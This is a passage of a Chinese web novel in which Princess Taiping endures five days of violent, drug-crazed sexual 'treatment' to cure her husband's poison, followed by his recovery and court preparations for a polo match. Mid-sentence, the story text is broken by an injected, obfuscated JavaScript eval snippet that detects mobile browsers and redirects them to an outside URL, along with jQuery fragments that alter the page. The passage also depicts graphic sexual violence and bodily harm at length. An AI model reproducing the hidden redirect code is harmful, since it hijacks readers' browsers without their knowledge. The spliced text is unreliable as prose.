赤金的铃铛,精巧冰凉,被郑重地系上纤细的足踝。当那金属的冷意贴上肌肤,太平不由自主地轻颤了一下。七年夫妻,她熟悉枕边人沉睡时平稳的呼吸,也曾在某些危急关头,窥见过那具颀长身躯下瞬间爆发的,属于顶尖高手的可怕力量。此刻,想到那力量将在全然失控,毫无理智的情况下施加于己身,一股寒意悄然顺着脊椎爬上。 浓重刺鼻的药气蒸腾弥漫。她踏入滚烫的药汤,灼热感瞬间让肌肤泛起红痕。依言在桶沿坐定,单薄的纱衣顷刻湿透,紧贴身躯,勾勒出不堪一握的轮廓。羞耻感如影随形,但更沉重的,是对即将降临的、未知痛苦的恐惧与全身心的紧绷。 “嗬——呃啊——!” 服下秘药不过片刻,一直僵卧的刘皓南喉间猛然爆发出低沉痛苦的嘶吼,如同困兽最后的挣扎。那瘫软的身体骤然绷紧,肌理贲张,青筋暴起,双目赤红,眼神涣散空洞,已无半分清明。 太平甚至来不及做出任何反应,腰肢便被一双铁钳般的大手死死攫住。力道大得惊人,五指深陷,带来尖锐的刺痛,让她眼前发黑。 紧接着,一股无可抗拒的巨力将她狠狠掼向前方,重重撞在他骤然变得如烙铁般坚硬滚烫的胸膛。 “砰!” 沉闷的撞击声在密室回荡,混着太平压抑的痛哼。她感觉自己像被重锤击中,气血翻腾。 “叮铃铃——!叮铃铃——!!” 足踝上的金铃因这剧烈的撞击和失衡,爆发出尖锐、狂乱、近乎凄厉的鸣响,不再是清脆铃音,而是金属被巨力拉扯的刺耳嘶鸣。 太平疼得浑身颤栗,齿间深深陷入下唇,血腥味弥漫。腰间痛彻心扉,而下/身承受的,更带来仿佛要被碾碎般的可怕痛楚。 然而,就在这几乎淹没意识的剧痛中,她涣散的眼神猛地一凝。不顾唇舌刺痛,她低头衔起早已备在唇边的蜡丸,用尽力气抵开他紧咬的牙关,将药丸连同温热的血沫,一同哺入他痉挛的喉间。 “呃…听着!” 她喘息着,声音因剧痛颤抖嘶哑,却带着钢铁般的意志,“本宫的驸马…生死…轮不到天定!” 她感觉神魂都要被颠散,指甲深深掐入他贲张的肩背。 “是生是死…本宫…亲手来搏!” 次日 第二日的姿态更为艰难。“蛇缠金刚式”要求腰肢向后极限反折。当太平忍着昨日残留的、遍布全身的疼痛,在帮助下将腰肢弯折到极致时,清晰的、令人牙酸的“咔嚓”声从她脊椎某处传来! “呜——!” 太平浑身剧震,痛呼被压在喉间。那不仅是拉伸的痛,更是骨骼承受极限压力的哀鸣。冷汗瞬间涌出,眼前发黑。 而此时的刘皓南,在第二剂秘药与体内剧毒的交织催化下,已彻底沦为被痛苦与原始本能支配的凶兽。布帛碎裂声,药液晃动的黏腻水声,他痛苦的嗬嗬声,她压抑的痛吟,细碎急促毫无规律的铃铛响声混杂在一起——叮铃、叮铃、叮当!铃声时而短促尖锐,时而拖长颤抖,仿佛是她承受极限痛苦的凄厉回声。 “殿下,逆天而行,强挽必死之命,大损己身,动摇根本,纵然救回,亦恐有碍寿数。” 密室外,杜娘子清冷的声音隔门传来,带着一丝复杂。她感应到室内铃音狂乱,显示太平气机濒临崩溃,立刻并指渡去一缕真气,稳住她心脉。 浴桶内,太平正痛的神魂欲散,四肢百骸无处不痛,尤其是反折的腰肢,仿佛随时会断裂。闻言,她涣散的眼神却骤然迸发出骇人的光芒。 趁着他一次力道用老的瞬间,她不知从哪里榨取出最后的力量,原本绵软无力的双腿猛地绞紧,用上了她从刘皓南偶尔指点中窥见的一丝粗浅锁扣之理,死死缠绞住他精瘦却因药力而坚硬如铁的腰腹,将他暂时钳制。同时她猛地低头,秀发散乱,汗水和着血水从额角滑落,狠狠衔起第二枚赤丸,不顾他无意识的啃咬撕扯,将药丸连同涌上喉头的血腥气,决绝地渡入他口中。 “咳咳…杜…杜姐姐…” 她剧烈咳嗽,嘴角鲜血蜿蜒,眼神却亮得灼人,那是一种燃烧生命般的疯狂与坚定。 “你的天道…教人顺命…” 她喘息着,每一个字都带着血沫,却字字清晰,掷地有声。 “本宫的道…便是…” 她在他又一次本能挣动带来的剧痛中,仰起布满汗与痛楚却异常明亮的脸,嘶声宣告: “我命…由我!” 金铃在她剧烈颤抖、淤痕遍布的足踝上,发出细碎而凄厉的呜咽。 三日 第三日的“倒挂金钟”,其凶险不仅在于姿态,更在于对施救者身体极限的终极压榨。前两日的折磨,已让太平尝尽了筋骨欲裂的痛楚,每一寸肌肉都在呻吟。但奇异的是,在极致的痛苦持续冲击下,身体似乎也产生了一丝绝望的耐受。痛楚依旧尖锐,却催生出一种麻木的、近乎冷酷的清醒。 她被柔韧的软绸束带倒悬于浴桶上方,血液逆冲,颅脑欲裂。血丝自鼻端、耳孔渗出,在苍白的脸上划出凄艳的痕。视野颠倒模糊,耳内轰鸣。足踝金铃的响声,因这倒悬姿态与她痛苦的微颤,变得微弱、沉闷、杂乱,时断时续,如垂死之人的脉搏。 “殿下!” 屏风外传来压抑不住的惊骇。 “此势倒悬乾坤,逆冲任督,颠倒阴阳气血。寻常女子,莫说施行,便是在此姿态下停留半刻,早已血脉崩裂,颅脑受损而亡。” 杜娘子的声音隔屏传来,依旧清冷,却更透出肃杀。 “寻……常?” 倒悬的太平艰难睁眼,视野是颠倒的血色。她看到下方浴桶中,刘皓南嘴角不断溢出的黑血,看到他脸上狰狞的毒斑似乎淡了极细微的一丝。这个发现,像冰水中唯一的火星。她竟扯动破裂的嘴角,露出一个扭曲却异常清醒甚至带点疯狂的笑容,嘶声道:“去……告诉那些捧着《女诫》、《女则》……只会要求女子柔顺的老古板——” 她奋力挣动被束的手腕,不顾加剧的头痛,以染血的指尖,蘸取自己的血,就着这倒悬的姿势,颤抖而固执地,擦拭他唇边的黑血。 “——太平的命,怎么活……本宫自己定!” 四日 第四日,“反弓衔月”。身体前三日积累的伤痛如同厚重的冰层覆盖上来,每一次呼吸都牵扯着酸楚与钝痛。然而,在这冰层之下,一种更深的,近乎本能的韧性,却在悄然滋生。痛,还是痛,但痛楚的边界仿佛被拓宽了,她能在这无边的痛楚中,维持一丝摇摇欲坠的清明。 当腰肢在真气辅助下,被压向那个恐怖的弧度时,那声清脆的“咔”从脊椎深处传来,如此清晰。太平的脸瞬间惨白如鬼,冷汗与泪水混合着血迹汹涌而下。但这一次,她没有发出任何声音,只是死死咬住了早已伤痕累累的下唇,将所有痛呼咽回。身体在剧颤,意识在眩晕的边缘徘徊,但心底某个角落,竟荒谬地升起一丝异样的感知——这姿态虽痛苦至极,却似乎……微妙地改变了某种力道的传递?这念头一闪而逝。 足踝金铃的悲鸣断续无力。 而此刻,浴桶中的刘皓南,体内霸道药力与剧毒,以及连日导引的力量,似乎达到了一个狂暴的临界点,却又在这特定姿态牵引下,诡异地撼动了某处淤塞。他赤红涣散的双瞳猛地一缩,竟获得了一丝短暂到几乎不真实的清明。 视线艰难聚焦,看到了上方那张近在咫尺、因极致痛苦而扭曲、被血污覆盖却依旧死死坚持的脸——是太平。破碎的记忆骤然闪过——掖庭角落,那个粉雕玉琢却一脸倔强的小女孩,张开双臂,将吓得瑟瑟发抖的兄长护在身后…… “殿……下……” 他干裂的唇翕动,气音微弱,染血的手指颤抖着想抬起,却又无力垂落,“此等……狠劲……倒像……当年……扳锁……” “现在……才知?” 太平从剧痛中捕捉到他的话语,涣散的眼神凝起一点微弱的光。她看着他,忽然不知哪来的力气,低头衔起第四枚赤丸咬碎,混合着血腥与奇苦的药液,被她以唇舌不容拒绝地渡入他口中。强烈的刺激让他浑身剧震,那丝清明如风中残烛。 “去岁……母后封禅泰山……”她贴着他滚烫的唇,气若游丝,却字字带着血沫的清晰与嘶哑,“本宫代掌京师防务……三日。你以为……长安稳如泰山……靠的是《女诫》里的……柔顺?” 话音未落,那被药液强行冲开的清明瞬间被更汹涌的药力与残余毒性吞噬!刘皓南喉间发出一声低沉痛苦的咆哮,赤红的双目重新被混沌与狂暴占据,甚至因为那瞬间清醒带来的情绪波动,反而激起了更凶猛的反弹。他猛地发力,动作比之前任何一次都更蛮横,更具侵略性,属于高手濒死反扑般的力道,狠狠施加在太平早已不堪重负的身体上。 “呃啊——!” 太平猝不及防,痛得眼前彻底一黑,差点晕厥。身体仿佛被撕裂,那刚刚升起的一丝奇异感知被碾得无影无踪,只剩下灭顶的、纯粹的剧痛。但在这剧痛中,在意识模糊的边缘,一个极其荒谬的念头,却如鬼火般一闪而过——如果……如果不是在这毒性与霸道药力催动下的、毫无理智的狂暴折磨……如果是在两情相悦,彼此清醒的寻常时刻……这般深入的、紧密的、仿佛要将彼此揉碎的纠缠……又会是何等滋味? 这念头让她自己都悚然一惊,随即被更深重的痛苦和汹涌的情感淹没。她死死咬住牙,将喉咙里的痛吟和那荒谬的念头一起压回心底,只是更紧地抓住了他,仿佛那是怒海中唯一的浮木。 五日·叠股承露 第五日,终势,“叠股承露”。 暗红粘稠的药汤翻滚着气泡,气息浓烈到令人作呕。两人姿态紧密,却都已是强弩之末。太平力竭,全靠杜娘子的真气吊命,身体遍布青紫,皮肤潮红皱褶,容颜灰败,唯有眼中一点执念不熄。金铃声微弱断续,如同叹息。 刘皓南指尖凝结出内蕴金丝的诡异黑冰。郑娘子惊呼:“金丝现,毒性成灵!需以至纯至阳、富含生机之本源元气为引,方能勾出!” “至纯元气?……生机本源?” 太平低低嘶笑,带着洞悉与决绝,“母后曾言,我李唐血脉,或与陇西古秘有关……隐有异禀……” 她喘息着,用尽最后力气,“嗤啦”一声撕开破烂衣襟。 心口正中,一枚鲜红欲滴、形如朱雀展翅的朱砂胎记显露,在昏暗光线下,流转着温润的赤金光晕。 “今日……便以此身血脉,以此心头朱红为赌!” 她闭上眼,凝聚所有残存意志,沉入心口那点微温搏动,主动呼唤那深藏的可能。 “嗡——!” 朱雀胎记赤金光晕骤亮! 与此同时,刘皓南黑冰中的金色毒丝,仿佛受到无形吸引,齐齐剧颤,化作数缕璀璨金芒,射向太平心口! “就是此刻!” 屏风外,杜娘子眼眸精光暴涨,并指隔空虚引,玄门真气如丝缠绕金芒,巧妙一旋一引。 “咻——!” 金芒划出弧线,猛地调头,贯入刘皓南眉心。 “呃啊——!” 刘皓南身体绷直仰头,长吟中混合着极致痛苦与解脱。眉心金红光芒一闪而逝,指尖黑冰迅速消融。 “叮——!” 角落一枚金铃无风自动,发出清越悠长、宛如凤鸣的脆响,余音涤荡满室污浊,带来一丝澄澈生机。 浴桶内,药汤渐平。太平彻底脱力昏死。刘皓南气息趋稳,死气消散大半。粗重平稳的呼吸,取代了痛苦的呻吟。 屏风内外,一片寂静。只有那枚微微颤动的金铃,和渐息的药汤,昭示着这场逆天争夺,似乎……终于窥见了一线渺茫的生机。而太平昏沉前最后一丝模糊意识,竟是那荒谬念头残留的回响——痛到极致后,身体深处,是否也曾有过一丝……极其微弱,被痛苦彻底掩盖的,异样的颤栗?这念头让她在昏迷中,几不可察地,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185093|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻蹙了蹙眉。 晨光熹微。 密室的门,被轻轻推开一线。熬煮了五日、饱浸了血泪与生机的暗红药汤,经过一夜的沉淀,竟已由浓稠的赤黑,转为一种奇异而温暖的、宛如融金般的色泽,在晨光下泛着温润的暖光。 刘皓南缓缓地,极其艰难地睁开了眼睛。视线模糊,记忆破碎。然而,几乎在恢复意识的第一时间,一种与身下微温药液截然不同的、真实的、温软的、带着微弱起伏的触感,无比清晰地传递而来——有人,正紧紧蜷缩在他怀中,身体冰凉,却在微微颤抖。 他低下头,用尽全力聚焦模糊的视线。 是太平。 她像一只被暴风雨彻底摧折了羽翼的鸟,无力地蜷缩在他怀中,湿透的乌发凌乱地贴在她苍白的脸颊和颈侧。那张曾经明媚张扬的脸,此刻惨白如纸,眼下是浓重得化不开的青黑,嘴唇干裂,布满细小的血痂。但让刘皓南瞳孔骤然收缩的,是她裸露在微光下的肩颈与锁骨——前几日留下的血色齿痕与可怖的淤青,颜色竟已淡去了许多,是一片片淡粉色的,略显狰狞的印记。而她纤细的、布满了新旧擦伤与淤痕的足踝上,那对赤金铃铛依旧牢牢系着,闪烁着微弱却执拗的光芒。 他还记得那些破碎的,模糊的片段——自己如同被毒性与药力催发的野兽,如何在她身上留下这些痕迹。每一道淡粉的印记,此刻都像烧红的烙铁,烫在他的灵魂上。 喉结艰难地滚动了一下,他试图开口,声音嘶哑破碎:“臣……少时,曾随师叔……遍览道藏……万余卷……” 他每说一个字,都牵扯着胸腹间的隐痛,以及那滔天的后怕与愧疚,“从未……从未有只言片语记载……有女子……敢以金铃系足……闻声辨位……行此……逆转生死之法……” 他说得极慢,目光一瞬不瞬地锁在她憔悴的容颜上,那目光里,翻涌着劫后余生的庆幸,有深沉如海的爱怜,更有几乎要溢出来的痛悔。 太平连抬眼的力气都似乎耗尽了。闻言,她只是将脸更深地,依赖地埋进他依旧残留着药味却已恢复温热的颈窝。片刻,才从鼻间逸出一声极轻、极低的哼笑,那笑声气若游丝,带着疲惫,却又奇异地夹杂着一丝狡黠的得意: “是么……那郑娘子……倒是别出心裁……” 她声音微弱,断断续续,“她将狄仁杰……当年审讯那些嘴硬的要犯时,用来判断受刑者是否说谎,心脉是否异常的‘振脉听音’之法……改了改,用在这金铃上……倒成了判断你气机流转、毒性淤塞之处的……救命招数……” 她停了停,缓了缓,才继续用那气声,带着点促狭的意味:“若让狄寺丞知道……他那些对付江洋大盗、叛臣逆党的刑讯法子……被这般用了……不知会是……一副什么表情……” 刘皓南静静地听着,手臂不由自主地收紧,将她更紧、更稳地环抱在怀中,仿佛稍一松手,她便会化作一缕青烟散去。许久,他低沉的声音在她汗湿的额发顶响起,带着一种劫后余生、深入骨髓的疲惫,与一种不容置疑的,沉静如渊的决心: “待殿下……养好这身伤,” 他顿了顿,每个字都说得极慢,极重,“臣便向陛下,求一个恩典。” “嗯?” 太平昏昏欲睡,只模糊地应了一声。 “求陛下……许臣暂卸所有朝职,以布衣之身,入蓬莱宫丹房,协理丹炉,研习道藏。” 他缓缓说道,语气平静,却透着磐石般的坚定,“臣愿以三年,不,纵是十年光阴,不眠不休,遍访名山,搜寻古方,亲自看顾炉火,为殿下……亲手炼制一炉‘紫金丹’。” 太平在他怀中微微动了动,似乎想抬头,却终究无力。 “不求延寿……不求长生……” 他低下头,干燥起皮的唇瓣,极为轻柔地碰了碰她汗湿冰凉的额发,声音低哑下去,却字字清晰,宛如刻入骨血的誓言,“只求此丹炼成,能固本培元,滋养殿下此番亏损殆尽的元气与动摇的根基。只求殿下往后余生,身体康健,平安喜乐,再不必受病痛侵扰。更无需……再以金铃系足,忍受这刮骨抽髓,神魂俱裂之痛,行此九死一生、逆天改命之举,” 他环抱着她的手臂微微发颤,“为任何人……哪怕是臣,搏命至此。” 他的话,像最轻柔的羽毛,拂过太平疲惫不堪的心。意识沉入黑暗前,最后一个模糊的念头,竟是那荒谬的,在极致痛苦中曾一闪而过的作死好奇,再次泛起——这五日,如同地狱煎熬,痛是真的痛,怕也是真的怕。可既然……连这般狂暴凶残、几乎要了她半条命的折腾都没能真的弄死她,反而……似乎将这纠缠他如此之深的剧毒给解了?那……若是在寻常时候,两厢情愿,神智清明,又会是何等滋味?这念头让她即使在昏迷的边缘,几不可察地,轻轻蹙了蹙眉,旋即又松开,彻底沉入了无边的黑暗与疲惫之中。 窗外檐下,晨风掠过庭中积雪渐融的枝头,带着冬日清晨特有的清寒与一丝微弱的生机。 郑娘子在确认刘皓南体内毒性已除、脉象虽虚弱却已趋平稳后,长长舒了口气,脸上露出如释重负的疲惫。她默默收拾好自己的药箱,对刘皓南的方向,保持着应有的回避,微一颔首,便悄无声息地退出了密室,将空间留给劫后余生的夫妻二人。那对金铃,她并未带走,依旧系在太平足踝。 另一边,杜娘子早已悄无声息地走到了窗边。她一身道袍清冷,静立如竹,听着身后室内隐约传来的、逐渐平稳交织的微弱呼吸声,望着窗外庭院中,积雪在晨光下悄然消融,露出底下枯枝的一点嫩芽。静立片刻,她伸出手,修长如玉的手指在精雕的窗棂上,看似随意地轻轻一弹。 “嗒。” 一声轻响,柔和却精准的道家气劲送出,那扇为了透气而虚掩的轩窗,被缓缓合拢,严丝合缝。将一室的浓重药香,未散尽的血气,惊心动魄的五日痕迹,与那逐渐明亮温暖、却也可能带来窥探的晨曦,轻轻隔开。 室内光线顿时暗下些许,却更显静谧。 刘皓南没有立刻起身。他在逐渐变温的、色泽转为暗金的浑浊药液中,又静静拥着昏睡的太平待了片刻,感受着她微弱却确实存在的心跳,和自己体内那虽然空空荡荡、却不再有毒素肆虐痛楚的虚弱。然后,他深吸一口气,用尚在恢复中、依旧虚软却足够稳定的手臂,极其小心地避开她身上那些淡粉的伤痕,尝试移动。 离开浑浊的药液,他抱着她,有些踉跄地踏出浴桶。微凉的空气让他打了个寒噤,也让他更清晰地看到怀中人苍白脆弱的模样。他先将她在旁边铺了厚软绒毯的矮榻上轻轻放下,用绒毯一角盖住她,这才转身,用干燥的软布快速擦干自己身上的水渍,草草披上一件寝衣。 然后,他重新回到太平身边。浑浊的药液褪去,她的身体完全显露出来。他单膝跪在榻边,目光首先落在她纤细的、布满新旧淤痕的足踝,以及那对依旧系着、沾满暗金药渍的赤金铃铛上。铃铛在晨光下,光泽暗淡,却依旧固执地存在着。 他伸出手,指尖因为虚弱和情绪而微微颤抖,极为轻柔地、小心翼翼地,触碰到那冰冷的金铃,然后,一点一点,解开了那系了整整五日、早已被药汁和汗水浸透、颜色深暗的红丝绳结。 绳结松开的瞬间,铃铛发出一声极轻的、带着湿意的“叮”,仿佛一声疲惫的叹息。 他将那对金铃捧在掌心。铃身冰凉,沾着滑腻的药渍。他下意识地用指腹摩挲了一下,触感微糙。他将金铃举到眼前,借着室内渐亮的晨光,仔细看去。 只见那精巧的赤金铃铛内壁,原本光滑的表面,此刻却凝结着一点已然干涸、颜色暗红发黑、如同小小朱砂痣般的…… 血珠。 刘皓南的呼吸猛地一窒。眼前仿佛闪过破碎的画面——她死死咬唇,鲜血自齿间渗出;她倒悬时,血滴沿着面颊滑落;她在极致的冲撞中,无声地、死死咬住自己的唇舌,直至鲜血淋漓,只为不让自己痛呼出声,干扰那维系他生机的铃声判断…… 原来,这清脆的,曾指引他生路的铃声背后,是她咬碎银牙、和血吞下的无声嘶喊。 心脏像是被这小小的、干涸的血珠狠狠刺中,骤然缩紧,痛得他几乎无法呼吸。那滔天的愧疚、后怕、爱怜与一种难以言喻的震撼,几乎要将他淹没。他紧紧攥住这对金铃,冰冷的金属边缘硌着掌心,那点干涸的血渍仿佛带着滚烫的温度,灼烧着他的皮肤,也烙印进他的灵魂。 他没有说话,只是将这对铃铛,紧紧、紧紧地握在手中,仿佛握住了这五日她所承受的所有痛苦,也握住了她给予他的、浴血重生的第二次生命。然后,他小心地将它们收入怀中,贴在最靠近心口的位置。 做完这一切,他才深吸一口气,平复翻腾的心绪。拿起旁边准备好的、干燥温暖的柔软绒巾,动作轻柔得不可思议,仿佛对待最易碎的珍宝,一点点吸去她身上残留的、已变为淡金色的药液。指尖每一次划过那些淡粉的伤痕,他的心就紧缩一分。然后,他用宽大厚实的干净绒毯将她仔细包裹,再为她换上干爽柔软的寝衣。整个过程,他目光专注,手法沉稳,唯有微微颤抖的指尖和紧抿的唇线,泄露着内心的惊涛骇浪。 最后,他将裹得严严实实的她,轻轻拥入怀中,用自己的体温,去温暖她依旧有些冰凉的手脚和身躯。他低下头,将脸颊埋在她尚带湿气的发间,闭上眼,默默地在心中,再次重复了那个关于“紫金丹”的誓言。 窗外,天光彻底大亮,新的一天终于到来。室内,只有劫后余生、漫长而珍贵的宁静,与彼此交织的、平稳的呼吸声,在轻轻回荡。而太平在沉沉睡去前,那最后一丝关于“正常感受”的模糊好奇,如同投入深潭的一颗微小石子,虽未立刻激起涟漪,却已悄然沉入了劫后余生的心湖深处。刘皓南将她搂得更紧了些,下颌轻轻抵着她的发顶,仿佛唯有如此紧密的相拥,才能稍稍抚平那浸透骨髓的后怕,与誓要弥补的决心。 66. 将养与马球会 第一日至十日·将养 晨光初透茜纱,在光洁的金砖上投下斑驳暖意。刘皓南已立于镜前,由侍女服侍着,一丝不苟地系上绯色官袍的每一颗玉扣。连服十日的汤药在紫檀案头余温未散,散着紫参的微甘、鹿髓的腥膻,与一丝极淡、却绝难错辨的、属于蛊虫萃取物的奇异冷香——这是郑娘子以荥阳郑氏秘方改良的“固元汤”,药性霸道,专为修补他被剧毒与狂暴疗法双重摧残的根基。而每日卯时,杜娘子必准时而至,素手执银针,精准刺入他周身大穴,将精纯平和的玄门真气徐徐渡入,导引他体内残存的药力与微弱复苏的内息,沿着奇经八脉艰难运行。 此刻镜中人,肩头那曾狰狞蔓延的蛛网紫斑已褪作淡淡的青灰色印记,几不可辨。面色虽仍带着失血后的苍白,却已非之前的死气沉沉。唯有当他偶尔凝神,尝试调动内力时,心口处那枚因解毒而意外显现、形如凤翎展翅的淡金色纹路,便会隐隐发热,提醒着他内力十不足一。 朝会间隙,他常避开同僚寒暄,独自躲入兵部值房角落,倚着冰冷的墙壁闭目调息。有相熟的武官见状,挤眉弄眼地调侃:“薛都尉这十日,下了朝便不见人影,回了府也神龙见首不见尾,这般“归心似箭”……莫不是府里新得了什么了不得的“宝贝”,或是栽了株让人流连忘返的“解语花”,勾得咱们都尉连兄弟们的酒约都忍心推了?” 刘皓南闻言,只抬起眼,唇角勾起一抹极淡、却温润的笑意,并不接话,仿佛默认。唯有拢在袖中的指尖,悄然掐了一个道门宁心静气内诀,将因调息不慎而微微翻腾的气血,无声无息地压了下去。那笑意未达眼底深处,那里藏着一丝不易察觉的疲惫,与劫后余生的珍重。 公主府,寝殿。 与刘皓南强撑的忙碌不同,太平这十日,多半是偎在寝殿那只巨大的鎏金狻猊熏笼边。笼内银炭烧得正旺,暖意烘人,将她苍白的脸颊也熏出些微红晕。她只着宽松柔软的杏子红家常襦裙,赤足蜷在厚厚的西域绒毯上,原先系过金铃的足踝,那圈深色的淤痕与勒痕,已淡作浅浅的粉色,如同将谢的桃花瓣。 她似乎变得格外慵懒。闲来无事,便翻看窦娘子前几日献上的一卷精工绘制的《西域珍宝图鉴》,对那些流光溢彩的宝石、奇巧的机关、古老的器物,显出些兴趣,偶尔会命侍女依照图册,去库房取几件类似的古物来赏玩。然而,往往不过把玩片刻,便兴致缺缺地搁下。午后阳光透过窗棂,暖融融地照在她身上,她总是倚着柔软的锦缎隐囊,不知不觉便沉沉睡去,长睫在眼下投出安静的阴影,仿佛要将前些时日耗尽的精力,一点一点睡回来。 第十日,清晨。 刘皓南这日醒得格外早,寅时未到便已起身。他动作放得极轻,怕惊扰了身侧依旧沉睡的太平。正要更衣,指尖触及中衣内里的暗袋,忽觉有异。微微一怔,探入取出,触手温润微凉。 摊开掌心,一枚白玉诀静静躺着。玉质莹白剔透,毫无杂质,在昏暗的晨光中流转着内敛的光华。诀身浮雕螭龙衔云纹,线条古拙而充满力道,龙睛处以一点朱砂沁色点睛,栩栩如生。而玉诀背面,以极为古老的篆文,阴刻着两个小字—— “破妄”。 刘皓南的瞳孔,在看清这枚玉诀的刹那,骤然收缩如针尖!呼吸猛地一窒,仿佛被人扼住了喉咙! 这玉诀……这纹样……这篆文! 分明是现世之中,他那被宠得无法无天、将无数奇珍异宝当石子乱丢的女儿刘望舒,拿来帮展昭化解了咒术的那一枚!“螭龙衔云·破妄珏”! 指尖不受控制地微微颤抖,抚过玉身上冰凉的纹路,那“破妄”二字,如同烧红的烙铁,烫进他的眼底,也烫进他混乱的心神。这幻境之中,怎会出现现世之物? “殿下……” 他倏然转身,声音因极度的震惊与急迫而绷紧嘶哑,目光如电射向妆台前正对镜慵懒簪着一支赤金点翠步摇的太平,“此物——从何而来?!” 太平似乎刚梳妆完毕,闻言,漫不经心地透过铜镜瞥了他一眼,手中动作未停,将步摇稳稳插入惊鹤髻,才慢悠悠道: “哦,这个啊。杜三娘子,就是那个帮你当初疗毒的杜娘子的堂妹来投奔时,身上没多少值钱物事,便拿了五枚这样的玉诀,说是家传的,权当庇护之资。我瞧着她那叔父也真是心黑,夺了兄长家产不算,还想把她许给范阳卢氏那个虐杀过好几房婢女的混账儿子……怪可怜的。玉诀成色瞧着倒还莹润,留着把玩也好。想着你常在外行走,便随手给了你一枚,戴着玩儿,或是……压压袍角,也算物尽其用。” 她说着已转过身,宽大的裙裾随着动作拂过多宝阁边缘。那阁上琳琅满目,塞满了近日窦娘子或其他女眷“进献”的各式物件。一柄锈迹斑斑、纹饰狞厉的商周青铜短匕,正被随意插在一个天青釉琉璃瓶中,权作花插,衬着瓶内几枝将谢的白梅,显得不伦不类。 “窦娘子前几日倒是献了整整一大箱所谓的‘宝贝’,说是从什么西域商队、前朝遗库里收罗来的,我也懒得细看,都堆在那儿了。你若得闲,自己去瞧瞧可有入眼的,拿去把玩便是。” 太平的语气,随意得就像在谈论一堆不甚紧要的衣料或摆件。 刘皓南却已无暇他顾,急步走至窗边,就着越来越亮的晨曦,将那枚“破妄珏”对着光细细端详。日光下,莹白的玉质深处,竟隐隐透出七彩虹晕,流转不定,仿佛内蕴星辰。他心脏狂跳,声音带着压抑不住的激动: “殿下!此玉绝非寻常!这是先秦方士徐福,为始皇帝求长生药时,以昆仑山巅万年寒玉为主料,混入天外陨铁中提炼的‘星屑’,佐以秘法炼制而成的‘辟邪五珏’!传说有沟通天地、破除虚妄、镇压邪祟之能,世间仅存五枚,各有其名与其用!一珏‘破妄’,可勘破幻术迷障;二珏‘镇魂’,能安定心神,抵御摄魂;三珏……” “徐福东渡的典故,我自是读过的。” 太平打断他,语气依旧平淡,甚至带着一丝慵懒的调侃。她信步走到多宝阁前,顺手拿起阁上一柄装饰华丽的嵌宝匕首,刀鞘上红蓝宝石与绿松石交相辉映。她看也不看,便用这匕首,利落地切开一旁小几上宫婢刚呈上的、产自岭南的蜜瓜。金黄的瓜瓤露出,汁水清甜。 “只是,玉再好,终究是死物。是给人用的,不是给人供着的。” 她拈起一块蜜瓜,递到唇边,眼波斜飞,刀尖随意点了点多宝阁最高处一个蒙尘的紫檀木匣,“好比那匣子里,窦娘子说得神乎其神、号称是夏朝君主祭祀天地、能呼风唤雨的‘玄圭’……我瞧着玉质倒是厚重,形制也方正,裁纸镇砚,怕是极稳当的。” 刘皓南顺着她刀尖所指望去,只见那紫檀木匣被随意搁在阁顶,旁边胡乱堆着些竹简、龟甲,一枚颜色沉黑、刻满卜辞的商代黑陶龟甲,竟被宫婢拿来垫了香炉底,防止烫伤案几。 眼前这熟悉的一幕——珍宝被视若寻常,甚至被“物尽其用”到令人啼笑皆非的地步——与他记忆中,现世里女儿刘望舒将传世古玉当石子砸,将前朝名画卷了逗猫的种种行径,诡异地重叠在一起。 他怔怔地看着太平漫不经心的侧脸,又看了看手中光华内蕴的“破妄珏”,再望向多宝阁上那些被“明珠暗投”的国之重器,一股难以言喻的情绪涌上心头,复杂难辨。最终,化作一声几不可闻的、混合了恍然、无奈与一丝了然的低笑。 “玉女门……” 他低声自语,摇了摇头,眸中光影明灭,“一脉相传的……‘重人轻物’。今日,臣算是亲眼见识了。” 太平似乎没听清他低语,已将手中蜜瓜吃完,接过侍女递上的湿帕擦了擦手,转身便将他叠好放在一旁的绯色官袍、玉带、鱼符等物,一股脑儿塞进他怀里。 “快些去吧,时辰不早了。李敬玄昨日散朝时,还同旁人嘀咕,说你告假养伤的时日多了些,兵部弩司的公务都积压了。” 她推着他向殿门走去,力道不重,却不容拒绝。经过他身边时,指尖似乎不经意地,极轻、极快地,掠过了他心口官服之下、那枚淡金色凤翎纹所在的位置。 “对了,” 她在他踏出殿门前,又轻飘飘补了一句,声音听不出情绪,“鸿胪寺刚得的消息,突厥使者一行,半个月后抵京。父皇必定要你领头,筹备迎接事宜,马球会更是少不了……这回,可要仔细些。若再中了什么稀奇古怪的毒……” 她顿了顿,抬眼看他,眸中水光潋滟,深处却藏着一丝极淡的、几乎看不见的后怕与警告。 “本宫可没力气,再系第二次金铃了。听见没?” 辰时,紫宸殿。 百官肃立,山呼已毕。李治端坐御座,手中把玩着一柄镶嵌着硕大红玛瑙、柄尾雕成狼首的精致马鞭,正是突厥此次进贡的礼品之一。他目光缓缓扫过丹陛下位列,最后落在刘皓南身上,唇角带着惯常的、令人捉摸不透的温和笑意。 “薛卿,” 李治开口,声音在大殿中清晰回响,“突厥使团此次,携三百匹上等汗血宝马而来,诚意颇足。朕思忖着,两国相交,文武并重。文有筵席辩经,武嘛……朕欲半月后,于昆明池畔,办一场‘长安马球会’,一展我大唐儿郎的英武,也全了这番邦以马会友的雅意。” 他的目光,似有意似无意地,掠过刘皓南腰间新佩的那枚莹白玉诀,停顿一瞬,复又笑道: “你于马球一道,素有盛名,更兼熟知边事。此次马球会,便由你总领,挑选一队宗室子弟与年轻俊才组队。程务挺,” 他看向武将队列中一名身形魁梧的将领,“从你金吾卫中,拨十名精锐好手,听薛卿调遣,充作护卫与替补。至于具体人选嘛……” 李治顿了顿,笑容加深,带着帝王特有的、予人恩典却又暗含考验的意味: “朕准你自定。只需记住,此会关乎国体,既要赢得漂亮,也要赢得……有分寸。” “陛下圣明。” 